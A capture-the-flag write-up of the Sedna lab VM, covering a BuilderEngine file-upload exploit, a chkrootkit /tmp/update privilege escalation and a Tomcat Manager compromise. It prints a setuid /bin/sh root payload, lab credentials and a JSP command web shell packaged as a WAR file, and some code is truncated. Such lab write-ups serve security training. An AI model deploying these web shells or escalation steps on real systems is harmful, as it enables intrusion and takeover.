This is my writeup for the Sedna VM from This machine is intended to be doable by someone who have some experience in doing machine on vulnhub. There are 4 flags on this machine.
One for a shell
One for root access
Two for doing post exploitation on Sedna.

Intelligence Gathering

When we access the IP of the VM on port 80, we see kind of a website.
Let's start scanning:

I run my own recon script, which contains nmap and nikto:


Interesting stuff is

  • Open ports:
    • 22/tcp
    • 53/tcp
    • 80/tcp
    • 110/tcp
    • 111/tcp
    • 139/tcp
    • 143/tcp
    • 445/tcp
    • 993/tcp
    • 995/tcp
    • 8080/tcp
  • /files: Directory indexing found.
  • /system: This might be interesting...
  • /license.txt

On port 80 we find an apache with web content. On port 8080 we find a tomcat.
If we check for the directories /files and /system we find an instance of BuilderEngine.
This hypothesis is confirmed when accessing /license.txt



What is BuilderEngine? And is the version installed vulnerable?

BuilderEngine Community Edition is an Open Source CMS Platform for Designers who want to create complex & better websites.
On the 30th of October 2013 at the Dublin Web Summit 2013, BuilderEngine released & launched the Cloud Website Builder on

BuilderEngine joined Twitter on September 2012. Let's check their history.




Ok, let's audit this CMS. But where to report it, if we actually find a vulnerability?
A Google-Search for "BuilderEngine + Security" did not return a team or a proper contact point but what did pop up, were vulnerabilities.

Google Search

Google Search

BuilderEngine Arbitrary File Upload Vulnerability and execution
This module exploits a vulnerability found in BuilderEngine 3.5.0 via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious file, which would result in arbitrary remote code execution under the context of the web server.

If the version installed matches, we could upload a shell. PHP-Reverse-Shell? Again?
I tried to find another vulnerability / way but since index.php is missing the site is not able to run, thus potential vulnerabilities would not work anyway.
So I stuck with the known vulnerability.


Let's test if this system indeed is vulnerable to Arbitrary File Upload.



It actually works. Let's place a small PHP shell.

Reverse Shell

Reverse Shell

Catch the first flag:

www-data@Sedna:/var/www$ ls
www-data@Sedna:/var/www$ cat flag.txt

That's the third time, I used a PHP Reverse Shell – kind of boring. Let's see what the tomcat's got for us.


Trying to access the Tomcat Manager with default credentials did not open the door. But since we have a shell running we could look up the credentials.

Sadly, with www-data as user we do not have access to the file.

www-data@Sedna:/etc/tomcat7$ ls -al /etc/tomcat7
total 212
drwxr-xr-x   4 root root      4096 Oct  7  2016 .
drwxr-xr-x 121 root root     12288 Aug 24 14:06 ..
drwxrwxr-x   3 root tomcat7   4096 Oct  7  2016 Catalina
-rw-r--r--   1 root tomcat7   6426 Feb 27  2014
-rw-r--r--   1 root tomcat7   1394 Jan 25  2014 context.xml
-rw-r--r--   1 root tomcat7   2370 Feb 21  2014
drwxr-xr-x   2 root tomcat7   4096 Oct  7  2016 policy.d
-rw-r--r--   1 root tomcat7   6500 Feb 27  2014 server.xml
-rw-r-----   1 root tomcat7   1638 Oct 22  2016 tomcat-users.xml
-rw-r--r--   1 root tomcat7 162905 Jan 25  2014 web.xml

Let's run unix-privesc-check to see what's on the system to escalate privileges.
It takes some time to read through the report.
While reading through, chkrootkit, a tool to check for rootkits, got my attention. I've never seen this before on one of those vulnhub VMS, so definitely worth to check.

A google search for chkrootkit + vulnerability returned the following:

Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privilege escalation. WfsDelay is set to 24h, since this is how often a chkrootkit scan is scheduled by default.

We're definitely on the right track.
If we can create a file named update in /tmp directory, that file would be executed with root privileges.

Let's create the file with this content:

chown root:root /bin/sh ; chmod 4777 /bin/sh
cd /tmp
echo "#!/bin/bash\nchown root:root /bin/sh ; chmod 4777 /bin/sh" > update
chmod +x update

Now let's check how often chkrootkit gets executed. This will tell us, how long it will take until our user will be able to run /bin/sh.
Nothing interesting in:


and /var/spool/cron/crontabs/ is root only, so no chance there.
Let's just try again in about 5-10 minutes...


www-data@Sedna:/var/www/html/files$ whoami
www-data@Sedna:/var/www/html/files$ /bin/sh

Yes. We're root!
Let's grab the second flag:

cat flag.txt

Post Exploitation

Since we now have root access we're able to read that tomcat-users.xml file and log in using those credentials.

<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>

Tomcat Mmanager

Addionally I would guess this to be the third flag (submitthisforpoints).

Next I googled for tomcat7 + vulnerability.

Apache Tomcat Manager Authenticated Upload Code Execution
This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

And guys, of course I know the metasploit framework but I planned my oscp-preparation explicitly without it.
I already got a shell but let's try to exploit tomcat anyway.

Means for now; Create a JSP-Shell and upload it.

<%@ page import="java.util.*,*"%>
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                disr = dis.readLine(); 
jar -cvf cmd.war cmd.jsp

We then upload the .war file.



So we definitely got a second shell here to play around with.

I went through the whole system and all suspicious I found was a user named crackmeforpoints. So I guess this is the fourth flag. I quickly (24h) tried to actually crack it but john wasn't successful.